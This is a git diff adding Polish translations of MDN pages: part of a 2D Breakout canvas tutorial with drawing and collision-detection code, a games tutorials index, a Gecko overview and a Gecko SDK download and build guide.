+<p>Zdefiniowaliśmy <code>charset</code> , {{htmlelement("title")}} oraz podstawowy styl CSS w elemencie header. Body zawiera elementy {{htmlelement("canvas")}} oraz {{htmlelement("script")}} — w pierwszym będziemy renderowali naszą grę, natomiast kod JavaScript który będzię tę grę kontrolował znajdzie w drugim. Element {{htmlelement("canvas")}} ma ustawiony parametr <code>id</code> z wartością <code>myCanvas</code> abyśmy mogli w prosty sposób pobrać odniesienie do niego, a jego wymiary ustawiliśmy na 480 pikseli szerokości oraz 360 pikseli wysokości. Cały kod, który napiszemy w tym poradniku, będzie umieszczony pomiędzy otwierającym tagiem <code>&lt;script&gt;</code> a zamykającym <code>&lt;/script&gt;</code></p>
+
+<h2 id="Podstawy_Canvas">Podstawy Canvas</h2>
+
+<p>Aby faktycznie móc renderować grafikę w elemencie {{htmlelement("canvas")}}, najpierw musimy pobrać do niego referencję w JavaScript. Dodaj następujący kod tuż pod tagiem otwierającym <code>&lt;script&gt;</code>.</p>
+
+<pre class="brush: js">var canvas = document.getElementById("myCanvas");
+var ctx = canvas.getContext("2d");</pre>
+
+<p>Najpierw przypisujemy referencję do elementu {{htmlelement("canvas")}} do zmiennej <code>canvas</code> . Następnie tworzymy zmienną <code>ctx</code> do przechowywania kontekstu renderowania 2D — czyli własciwego narzędzia, którego użyjemy do rysowania na elemencie Canvas.</p>
+
+<p>Zobaczmy przykładowy fragment kodu który narysuje nam czerwony kwadrat. Dodaj poniższy kod pod poprzednimi liniami JavaScript, następnie otwórz swój plik <code>index.html</code> w przeglądarce żeby to sprawdzić.</p>
+
+<pre class="brush: js">ctx.beginPath();
+ctx.rect(20, 40, 50, 50);
+ctx.fillStyle = "#FF0000";
+ctx.fill();
+ctx.closePath();</pre>
+
+<p>Wszystkie instrukcje znajdują się pomiędzy metodami {{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}} oraz {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}}. Definiujemy prostokąt używając {{domxref("CanvasRenderingContext2D.rect()","rect()")}}: gdzie pierwsze dwie wartości określają współrzędne położenia prostokąta od górnego lewego narożnika, natomiast dwie następne określają jego wysokość i szerokość. W naszym przypadku prostokąt będzie narysowany 20 pikseli od lewej krawędzi oraz 40 pikseli od górnej krawędzi, oraz będzie miał wymiary 50 pikseli szerokości oraz 50 pikseli wysokości, czyli uzyskamy idealny kwadrat. Właściwość {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}} przechowuje kolor, który zostanie użyty przez metodę {{domxref("CanvasRenderingContext2D.fill()","fill()")}} aby narysować kwadrat, w naszym przypadku, czerwony.</p>
+
+<p>Nie jesteśmy ograniczeni tylko do prostokątów  — poniższy fragment kodu narysuje nam zielone koło. Spróbuj dodać go do poprzedniego kodu JavaScript, następnie zapisz plik i odśwież przeglądarkę:</p>
+
+<pre class="brush: js">ctx.beginPath();
+ctx.arc(240, 160, 20, 0, Math.PI*2, false);
+ctx.fillStyle = "green";
+ctx.fill();
+ctx.closePath();</pre>
+
+<p>Jak widzisz ponownie użyliśmy metod  {{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}} oraz {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}}. Pomiędzy nimi, najważniejszą częścią powyższego kodu jest metoda {{domxref("CanvasRenderingContext2D.arc()","arc()")}}. Przyjmuje ona sześć parametrów:</p>
+
+<ul>
+ <li><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Współrzędne </span></font><code>x</code> oraz <code>y</code> środka łuku</li>
+ <li>średnica łuku</li>
+ <li>kąt początkowy oraz kąt końcowy (kąt rozpoczęcia i zakończenia rysowania podany w radianach)</li>
+ <li>kierunek rysowania (domyślna wartość <code>false</code> aby rysować zgodnie z ruchem wskazówek, lub <code>true</code> aby rysować przeciwnie do wskazówek zegara.) This last parameter is optional.</li>
+</ul>
+
+<p>Właściwość {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}} wygląda inaczej, niż poprzednio. To dlatego, że tak, jak w CSS, kolor może być określony w postaci wartości szeznastkowej, słowa kluczowego określającego kolor, funkcji  <code>rgba()</code>, lub innych z dostępnych metod przypisywania koloru.</p>
+
+<p>Zamiast używać metody {{domxref("CanvasRenderingContext2D.fill()","fill()")}} króra wypełnia całe figury kolorem, możemy użyć {{domxref("CanvasRenderingContext2D.stroke()","stroke()")}} aby tylko pokolorować zewnętrzny obrys. Spróbuj dodać ten fragment do swojego kodu JavaScript:</p>
+
+<pre class="brush: js">ctx.beginPath();
+ctx.rect(160, 10, 100, 40);
+ctx.strokeStyle = "rgba(0, 0, 255, 0.5)";
+ctx.stroke();
+ctx.closePath();</pre>
+
+<p>Powyższy kod narysuje pusty prostokąd z niebieskim obrysem. Dzięki wykorzystaniu kanału alpha w funkcji  <code>rgba()</code>, niebieski kolor jest półprzezroczysty.</p>
+
+<h2 id="Porównaj_swój_kod">Porównaj swój kod</h2>
+
+<p>Poniżej znajdziesz pełny kod źródłowy pierwszej lekcji z podglądem na żywo:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/x62h15e2/","","395")}}</p>
+
+<div class="note">
+<p><strong>Ćwiczenie</strong>: spróbuj pozmieniać wymiary i kolory poszczególnych figur.</p>
+</div>
+
+<h2 id="Następne_kroki">Następne kroki</h2>
+
+<p>Mamy już skonfigurowany podstawową strukturę HTML oraz poznaliśmy trochę podstaw o elemencie canvas, przejdźmy teraz do rozdziału drugiego i dowiedzmy się w jaki sposób <a href="/pl/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/posusz_pilka">Poruszyć piłkę w naszej grze</a>.</p>
+
+<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/posusz_pilka")}}</p>
diff --git a/files/pl/games/tutorials/2d_breakout_game_pure_javascript/wykrywanie_kolizji/index.html b/files/pl/games/tutorials/2d_breakout_game_pure_javascript/wykrywanie_kolizji/index.html
new file mode 100644
index 0000000000..fea9869173
--- /dev/null
+++ b/files/pl/games/tutorials/2d_breakout_game_pure_javascript/wykrywanie_kolizji/index.html
@@ -0,0 +1,128 @@
+---
+title: Wykrywanie kolizji
+slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/wykrywanie_kolizji
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Collision_detection
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}</p>
+
+<div class="summary">
+<p>This is the <strong>7th step</strong> out of 10 of the <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>. You can find the source code as it should look after completing this lesson at <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson07.html">Gamedev-Canvas-workshop/lesson7.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">We have the bricks appearing on the screen already, but the game still isn't <em>that</em> interesting as the ball goes through them. We need to think about adding collision detection so it can bounce off the bricks and break them.</span></p>
+
+<p>It's our decision how to implement this, of course, but it can be tough to calculate whether the ball is touching the rectangle or not because there are no helper functions in Canvas for this. For the sake of this tutorial we will do it the easiest way possible. We will check if the center of the ball is colliding with any of the given bricks. This won't give a perfect result every time, and there are much more sophisticated ways to do collision detection, but this will work fine for teaching you the basic concepts.</p>
+
+<h2 id="A_collision_detection_function">A collision detection function</h2>
+
+<p>To kick this all off we want to create a collision detection function that will loop through all the bricks and compare every single brick's position with the ball's coordinates as each frame is drawn. For better readability of the code we will define the <code>b</code> variable for storing the brick object in every loop of the collision detection:</p>
+
+<pre class="brush: js">function collisionDetection() {
+ for(var c=0; c&lt;brickColumnCount; c++) {
+ for(var r=0; r&lt;brickRowCount; r++) {
+ var b = bricks[c][r];
+ // calculations
+ }
+ }
+}</pre>
+
+<p>If the center of the ball is inside the coordinates of one of our bricks, we'll change the direction of the ball. For the center of the ball to be inside the brick, all four of the following statements need to be true:</p>
+
+<ul>
+ <li>The x position of the ball is greater than the x position of the brick.</li>
+ <li>The x position of the ball is less than the x position of the brick plus its width.</li>
+ <li>The y position of the ball is greater than the y position of the brick.</li>
+ <li>The y position of the ball is less than the y position of the brick plus its height.</li>
+</ul>
+
+<p>Let's write that down in code:</p>
+
+<pre class="brush: js">function collisionDetection() {
+ for(var c=0; c&lt;brickColumnCount; c++) {
+ for(var r=0; r&lt;brickRowCount; r++) {
+ var b = bricks[c][r];
+ if(x &gt; b.x &amp;&amp; x &lt; b.x+brickWidth &amp;&amp; y &gt; b.y &amp;&amp; y &lt; b.y+brickHeight) {
+ dy = -dy;
+ }
+ }
+ }
+}</pre>
+
+<p>Add the above block to your code, below the <code>keyUpHandler()</code> function.</p>
+
+<h2 id="Making_the_bricks_disappear_after_they_are_hit">Making the bricks disappear after they are hit</h2>
+
+<p>The above code will work as desired and the ball changes its direction. The problem is that the bricks are staying where they are. We have to figure out a way to get rid of the ones we've already hit with the ball. We can do that by adding an extra parameter to indicate whether we want to paint each brick on the screen or not. In the part of the code where we initialize the bricks, let's add a <code>status</code> property to each brick object. Update the following part of the code as indicated by the highlighted line:</p>
+
+<pre class="brush: js; highlight:[5]">var bricks = [];
+for(var c=0; c&lt;brickColumnCount; c++) {
+ bricks[c] = [];
+ for(var r=0; r&lt;brickRowCount; r++) {
+ bricks[c][r] = { x: 0, y: 0, status: 1 };
+ }
+}</pre>
+
+<p>Next we'll check the value of each brick's <code>status</code> property in the <code>drawBricks()</code> function before drawing it — if <code>status</code> is <code>1</code>, then draw it, but if it's <code>0</code>, then it was hit by the ball and we don't want it on the screen anymore. Update your <code>drawBricks()</code> function as follows:</p>
+
+<pre class="brush: js; highlight:[4,5,6,7,8,9,10,11,12,13,14]">function drawBricks() {
+ for(var c=0; c&lt;brickColumnCount; c++) {
+ for(var r=0; r&lt;brickRowCount; r++) {
+ if(bricks[c][r].status == 1) {
+ var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
+ var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
+ bricks[c][r].x = brickX;
+ bricks[c][r].y = brickY;
+ ctx.beginPath();
+ ctx.rect(brickX, brickY, brickWidth, brickHeight);
+ ctx.fillStyle = "#0095DD";
+ ctx.fill();
+ ctx.closePath();
+ }
+ }
+ }
+}</pre>
+
+<h2 id="Tracking_and_updating_the_status_in_the_collision_detection_function">Tracking and updating the status in the collision detection function</h2>
+
+<p>Now we need to involve the brick <code>status</code> property in the <code>collisionDetection()</code> function: if the brick is active (its status is <code>1</code>) we will check whether the collision happens; if a collision does occur we'll set the status of the given brick to <code>0</code> so it won't be painted on the screen. Update your <code>collisionDetection()</code> function as indicated below:</p>
+
+<pre class="brush: js; highlight:[5,6,7,8,9,10]">function collisionDetection() {
+ for(var c=0; c&lt;brickColumnCount; c++) {
+ for(var r=0; r&lt;brickRowCount; r++) {
+ var b = bricks[c][r];
+ if(b.status == 1) {
+ if(x &gt; b.x &amp;&amp; x &lt; b.x+brickWidth &amp;&amp; y &gt; b.y &amp;&amp; y &lt; b.y+brickHeight) {
+ dy = -dy;
+ b.status = 0;
+ }
+ }
+ }
+ }
+}</pre>
+
+<h2 id="Activating_our_collision_detection">Activating our collision detection</h2>
+
+<p>The last thing to do is to add a call to the <code>collisionDetection()</code> function to our main <code>draw()</code> function. Add the following line to the <code>draw()</code> function, just below the <code>drawPaddle()</code> call:</p>
+
+<pre class="brush: js">collisionDetection();
+</pre>
+
+<h2 id="Compare_your_code">Compare your code</h2>
+
+<p>The collision detection of the ball is now checked on every frame, with every brick. Now we can destroy bricks! :-</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/yumetodo/kaed3hbu/","","395")}}</p>
+
+<div class="note">
+<p><strong>Exercise</strong>: change the color of the ball when it hits the brick.</p>
+</div>
+
+<h2 id="Next_steps">Next steps</h2>
+
+<p>We are definitely getting there now; let's move on! In the eighth chapter we will be looking at how to <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Track_the_score_and_win">Track the score and win</a>.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}</p>
diff --git a/files/pl/games/tutorials/index.html b/files/pl/games/tutorials/index.html
new file mode 100644
index 0000000000..8833f364a3
--- /dev/null
+++ b/files/pl/games/tutorials/index.html
@@ -0,0 +1,27 @@
+---
+title: Tutorials
+slug: Games/Tutorials
+tags:
+ - Canvas
+ - Gry
+ - JavaScript
+ - Web
+ - workflow
+translation_of: Games/Tutorials
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>Ta strona zawiera poradniki, które wyróżniają wiele sposobów pracy w celu skutecznego wszelkiego rodzaju gier internetowych.</p>
+
+<dl>
+ <dt><a href="/pl/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript">Gra Breakout 2D w czystym JavaScript</a></dt>
+ <dd>W tym poradniku krok po kroku stworzysz prosty klon gry Breakout napisany w całości w czystym języku JavaScript. Nauczysz się podstaw używania elementu {{htmlelement("canvas")}} do implementowania podstawowych mechanik gry jak renderowanie, przesuwanie grafik, wykrywanie kolizji, mechanizmu sterowania oraz stanu wygrania/przegrania. </dd>
+ <dt><a href="/en-US/docs/Games/Workflows/2D_breakout_game_Phaser">2D breakout game using Phaser</a></dt>
+ <dd>In this step-by-step tutorial you'll implement the same breakout clone as the previous tutorial series, except that this time you'll do it using the<a class="external external-icon" href="http://phaser.io/">Phaser</a> HTML5 game framework. This idea here is to teach some of the fundamentals (and advantages) of working with frameworks, along with fundamental game mechanics.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation">2D maze game with device orientation</a></dt>
+ <dd>This tutorial shows how to create a 2D maze game using HTML5, incorporating fundamentals such as collision detection and sprite placement on a {{htmlelement("canvas")}}. This is a mobile game that uses the <a href="/en-US/Apps/Build/gather_and_modify_data/responding_to_device_orientation_changes">Device Orientation</a> and <a href="/en-US/docs/Web/Guide/API/Vibration">Vibration</a><strong> APIs</strong> to enhance the gameplay and is built using the <a href="http://phaser.io/">Phaser</a> framework.</dd>
+ <dt><a href="https://mozdevs.github.io/html5-games-workshop/en/guides/platformer/start-here/">2D platform game with Phaser</a></dt>
+ <dd>This tutorial series shows how to create a simple platform game using <a href="http://phaser.io/">Phaser</a>, covering fundamentals such as sprites, collisions, physics, collectables, and more.</dd>
+</dl>
diff --git a/files/pl/gecko/index.html b/files/pl/gecko/index.html
new file mode 100644
index 0000000000..71c75463f7
--- /dev/null
+++ b/files/pl/gecko/index.html
@@ -0,0 +1,62 @@
+---
+title: Gecko
+slug: Gecko
+translation_of: Mozilla/Gecko
+---
+<div class="summary">
+<p><span class="seoSummary"><strong>Gecko</strong> is the name of the layout engine developed by the Mozilla Project. It was originally named NGLayout. Gecko's function is to read web content, such as <a href="/en-US/docs/HTML" title="HTML">HTML</a>, <a href="/en-US/docs/CSS" title="CSS">CSS</a>, <a href="/en-US/docs/XUL" title="XUL">XUL</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>, and render it on the user's screen or print it. In XUL-based applications Gecko is used to render the application's user interface as well.</span></p>
+</div>
+
+<p>Gecko is used in many applications, including a few browsers, such as Firefox, SeaMonkey, etc. (for a complete list, please refer to <a class="external" href="http://en.wikipedia.org/wiki/Gecko_%28layout_engine%29#Web_browsers" rel="external" title="http://en.wikipedia.org/wiki/Gecko_(layout_engine)#Web_browsers">Wikipedia's article on Gecko</a>.) Products using the same version of Gecko have identical support for standards.</p>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 class="Documentation" id="Documentation">Documentation</h2>
+
+ <dl>
+ <dt><a href="/en-US/docs/Mozilla/Gecko/Chrome">Chrome</a></dt>
+ <dd>
+ <p>This page contains information specific to Chrome code running in Gecko.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Gecko_FAQ" title="Gecko_FAQ">Gecko FAQ</a></dt>
+ <dd>Frequently asked questions about Gecko.</dd>
+ <dt><a href="/en-US/docs/Gecko_DOM_Reference" title="https://developer.mozilla.org/en-US/docs/Gecko_DOM_Reference">Gecko DOM reference</a></dt>
+ <dd>Reference to the DOM.</dd>
+ <dt><a href="/en-US/docs/Gecko-Specific_DOM_Events" title="Gecko/Gecko event reference">Gecko event reference</a></dt>
+ <dd>Reference to events used within Gecko and Mozilla applications; for web-standard DOM events, see the <a href="/en-US/docs/DOM/DOM_event_reference" title="DOM/DOM event reference">DOM event reference</a>.</dd>
+ <dt><a href="/en-US/docs/Gecko/Versions" title="Gecko/Versions">Gecko versions and application versions</a></dt>
+ <dd>Versions of Gecko and the applications they're used in.</dd>
+ <dt><a class="external" href="/en-US/docs/Introduction_to_Layout_in_Mozilla" title="https://developer.mozilla.org/en-US/docs/Introduction_to_Layout_in_Mozilla">Introduction to Layout in Mozilla</a></dt>
+ <dd>Tech Talk on layout.</dd>
+ <dt><a href="/en-US/docs/Embedding_Mozilla" title="Embedding_Mozilla">Embedding Mozilla</a></dt>
+ <dd>Using Gecko in your own application.</dd>
+ <dt><a href="/en-US/docs/Character_Sets_Supported_by_Gecko" title="Character Sets Supported by Gecko">Character sets supported by Gecko</a></dt>
+ <dd>A list of the character sets supported by Gecko.</dd>
+ <dt><a href="/en-US/docs/Gecko/HTML_parser_threading" title="Gecko/HTML_parser_threading">HTML parser threading</a></dt>
+ <dd>Description of multithreading in the HTML parser.</dd>
+ <dt>{{interwiki('wikimo', 'Gecko:Home_Page', 'Gecko Home Page on MozillaWiki')}}</dt>
+ <dd>Home for the active developers. Roadmaps and more up-to-date resources.</dd>
+ </dl>
+
+ <p><span class="alllinks"><a href="/en-US/docs/tag/Gecko" title="tag/Gecko">View All...</a></span></p>
+ </td>
+ <td>
+ <h2 class="Community" id="Community">Community</h2>
+
+ <ul>
+ <li>View Mozilla forums... {{DiscussionList("dev-tech-layout", "mozilla.dev.tech.layout")}}</li>
+ </ul>
+
+ <h2 class="Related_Topics" id="Related_Topics">Related Topics</h2>
+
+ <dl>
+ <dd><a href="/en-US/docs/Web_Standards" title="Web_Standards">Web Standards</a>, <a href="/en-US/docs/XUL" title="XUL">XUL</a>, <a href="/en-US/docs/Embedding_Mozilla" title="Embedding_Mozilla">Embedding Mozilla</a>, <a href="/en-US/docs/Developer_Guide" title="Developing_Mozilla">Developing Mozilla</a></dd>
+ </dl>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/pl/gecko_sdk/index.html b/files/pl/gecko_sdk/index.html
new file mode 100644
index 0000000000..afc0494c3a
--- /dev/null
+++ b/files/pl/gecko_sdk/index.html
@@ -0,0 +1,112 @@
+---
+title: Gecko SDK
+slug: Gecko_SDK
+translation_of: Mozilla/Gecko/Gecko_SDK
+---
+<p>Gecko SDK, znane także jako SDK XULRunner, jest zbiorem plików <a href="/en/XPIDL" title="en/XPIDL">XPIDL</a>, nagłówków oraz narzędzi do tworzenia komponentów <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a>, które mogą być później używane np. Mogą być wykorzystane w <a href="/en/JavaScript" style="line-height: 1.5;" title="en/JavaScript">JavaScript</a><span style="line-height: 1.5;"> poprzez </span><a href="/en/XUL" style="line-height: 1.5;" title="en/XUL">XUL</a><span style="line-height: 1.5;">.</span></p>
+<p>Zauważ że, by stworzyć takie komponenty, nie ma potrzeby posiadania całego kodu np. Firefox'a, ponieważ nie używamy kodu zawartego w tym komponencie. A ponieważ każdy komponent posiada prostą funkcjonalność, jest zgodny z każdym produktem przeznaczonym na platformy Mozilli. Stąd też nie ma potrzeby używania poszczególnych produktów do zbudowania aplikacji o ogólnym przeznaczeniu. Z tego powodu opracowano Gecko SDK.</p>
+<p>Nie należy mylić Gecko/XULRunner SDK z <a href="/en/XULRunner" title="en/XULRunner">XULRunner</a>. Gecko SDK jest kolekcją plików nagłówków i narzędzi używanych do tworzenia komponentów XPCOM o ogólnym przeznaczeniu, które rozszerzają fukcjonalność już istniejącej platformy! Natomiast XULRunner jest środowiskiem w którym uruchamia się samodzielne programy, bądź wbudowane programy bazowane na framework'u Mozilli.</p>
+<p>Gecko SDK posiada wszelkie niezbędne narzędzia oraz nagłówki do tworzenia skryptowalnych wtyczek NPAPI, włącznie z kompilatorem/linkerem xpidl i najnowszą wersją <code>npapi.h</code>.</p>
+<h2 id="Get_the_SDK" name="Get_the_SDK">Jak zdobyć SDK?</h2>
+<h3 id="Updates" name="Updates">Aktualizacje</h3>
+<p>Nie ma potrzeby pobierania, czy też ponownego budowania Gecko SDK nawiązując do aktualizacji zabezpieczeń od Mozilli(np. Mozilla 1.7.3), ponieważ nagłówki i 'biblioteki klejące' w Gecko SDK zazwyczaj nie są zmieniane w przypadku aktualizacji zabezpieczeń. Aczkolwiek <strong>musisz rozprowadzać najnowsze komponenty Gecko, takie jak gklayout.dll itd.</strong></p>
+<h3 id="Downloading" name="Downloading">Pobieranie</h3>
+<p>Dla wersji przed Gecko 2.0 powinieneś wybrać wersje Gecko SDK dla <strong>najwcześniejszej</strong> wersji Mozilli którą planujesz używać. Dla wersji Gecko 2.0 i nowszych, musisz zrekompilować twój komponent dla każdej publikacji, ponieważ kompatybilność z różnymi wersjami nie jest obsługiwana!</p>
+<p>Nawiązując do poniższych wersji, możesz znaleść inne wersje(także niestabilne) pod tym adresem: <a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/">Wersje XULRunner</a> (pliki z 'sdk' w nazwie).  SDK ma ustalony <a href="https://wiki.mozilla.org/Releases">plan wydawnictwa</a> tak jak Firefox/Thunderbird.  Tylko gdy SDK wejdzie w stadium Beta, nadaje się do budowania rozszerzeń; twój komponent powienien współpracować z wydawnictwami SDK bez żadnych zmian.  Z powodu <a href="https://wiki.mozilla.org/RapidRelease#Overview">bardzo szybkiego wypuszczania nowych wersji</a>, rozsądnie jest wybierać SDK w wersji Beta.</p>
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Linki do plików</th>
+ <th>Najnowszy Gecko (Najnowszy Firefox)</th>
+ <th>Gecko 1.9.2 (Firefox 3.6)</th>
+ <th>Gecko 1.9.1 (Firefox 3.5)</th>
+ <th>Gecko 1.9 (Firefox 3.0)</th>
+ <th>Gecko 1.8 (Firefox 1.5 i 2.0)</th>
+ </tr>
+ <tr>
+ <th>Windows</th>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/latest/sdk/">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.win32.sdk.zip">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.win32.sdk.zip">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.win32.sdk.zip">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-win32-msvc-1.8.0.4.zip">Pobierz</a></td>
+ </tr>
+ <tr>
+ <th>Mac x86_64</th>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/latest/sdk/">Pobierz</a></td>
+ <td>Brak</td>
+ <td>Brak</td>
+ <td>Brak</td>
+ <td>Brak</td>
+ </tr>
+ <tr>
+ <th>Mac i386</th>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/latest/sdk/">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.mac-i386.sdk.tar.bz2">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.mac-i386.sdk.tar.bz2">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.mac-i386.sdk.tar.bz2">Pobierz</a></td>
+ <td>Brak</td>
+ </tr>
+ <tr>
+ <th>Mac ppc</th>
+ <td>Brak</td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.mac-powerpc.sdk.tar.bz2">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.mac-powerpc.sdk.tar.bz2">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.mac-powerpc.sdk.tar.bz2">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-mac-1.8.0.4.zip">Pobierz</a></td>
+ </tr>
+ <tr>
+ <th>Linux x86_64</th>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/latest/sdk/">Pobierz</a></td>
+ <td>Brak</td>
+ <td>Brak</td>
+ <td>Brak</td>
+ <td>Brak</td>
+ </tr>
+ <tr>
+ <th>Linux i686</th>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/latest/sdk/">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/3.6.28/sdk/xulrunner-3.6.28.en-US.linux-i686.sdk.tar.bz2">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.1.19/sdk/xulrunner-1.9.1.19.en-US.linux-i686.sdk.tar.bz2">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.9.0.17/sdk/xulrunner-1.9.0.17.en-US.linux-i686.sdk.tar.bz2">Pobierz</a></td>
+ <td><a href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/sdk/gecko-sdk-i686-pc-linux-gnu-1.8.0.4.tar.bz2">Pobierz</a></td>
+ </tr>
+ </tbody>
+</table>
+<p>SDK oficjalnie nie jest publikowane na pozostałych wersjach, jeżeli masz potrzebę używania SDK na innych wersjach, musisz sam je zbudować.</p>
+<div class="note">
+ <p><strong>Uwaga:</strong> możesz <a href="https://mail.mozilla.com/home/akeybl@mozilla.com/Release%20Management.ics">zasubskrybować kalendarz wydań Firefox'a</a>. Możesz także przejrzeć <a href="https://mail.mozilla.com/home/akeybl@mozilla.com/Release%20Management.html">plan</a> online .</p>
+</div>
+<p>Wypakuj tarball SDK do odpowiadającej Ci lokalizacji.</p>
+<h4 id="Issues_with_the_OS_X_SDK" name="Issues_with_the_OS_X_SDK">Błędy w SDK OS X</h4>
+<p>Jeżeli zaistnieje potrzeba użycia narzędzia <code>xpidl</code> do kompilacji plików IDL na OS X, prawdopodobnie otrzymasz dziwny komunikat błędu podobny do tego ponieżej:</p>
+<pre>dyld: Library not loaded: /opt/local/lib/libintl.3.dylib
+ Referenced from: /Users/varmaa/xulrunner-sdk/bin/./xpidl
+ Reason: image not found
+Trace/BPT trap
+</pre>
+<p>Niestety, ten problem jest wywoływany przez błąd procesu budowy SDK, który nie może zostać rozwiazany narazie (zobacz Bugzilla bug #<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=430274">430274</a>). By go ominąć, musisz zainstalować MacPorts jak podkreślono w  <a href="/En/Developer_Guide/Build_Instructions/Mac_OS_X_Prerequisites">wstępnych wymaganiach budowy w Mac OS X</a> oraz zainstalować <code>libidl</code>. na 64 bitowych wersjach Mac OS X, musisz zainstalować <code>libidl</code> z parametrem <code>+universal</code>.</p>
+<p>Gdy ta czynność zostanie wykonana, wykonaj te polecenie:</p>
+<pre>ln -s /opt/local/lib/libintl.8.dylib /opt/local/lib/libintl.3.dylib</pre>
+<p>To powinno naprawić błąd.</p>
+<h3 id="Building_the_SDK" name="Building_the_SDK">Budowanie SDK</h3>
+<p>By zbudować SDK, pierw zbuduj <a href="/en/XULRunner" title="en/XULRunner">XULRunner</a> (Gecko SDK jest budowane jako część procesu budowy XULRunner, stąd też nazwa XULRunner SDK). Zapoznaj się z <a href="/En/Developer_Guide/Build_Instructions">dokumentacją budowy</a> dla poznania szczegółowych danych. Po zakończeniu budowy XULRunner wykonanie <code>make sdk</code> z twojego katalogu stworzy paczkę SDK w <code>dist</code>.</p>
+<h2 id="Contents_of_the_SDK" name="Contents_of_the_SDK">Zawartości SDK</h2>
+<p>SDK zawiera:</p>
+<ul>
+ <li>1.9.2</li>
+ <li>Pliki IDL dla 'zamrożonych interfejsów' (pod <code>idl/</code>)</li>
+ <li>Nagłówki dla 'zamrożonych interfejsów', funkcje XPCOM, oraz funkcje NSPR (pod <code>include/</code>)</li>
+ <li>Biblioteki współdzielone, oraz import bibliotek (pod <code>lib/</code>)</li>
+ <li>Statyczne narzędzia bibliotek (pod <code>lib/</code>)</li>
+ <li>Wszelkiego rodzaju narzędzia (pod <code>bin/</code>)</li>
+</ul>
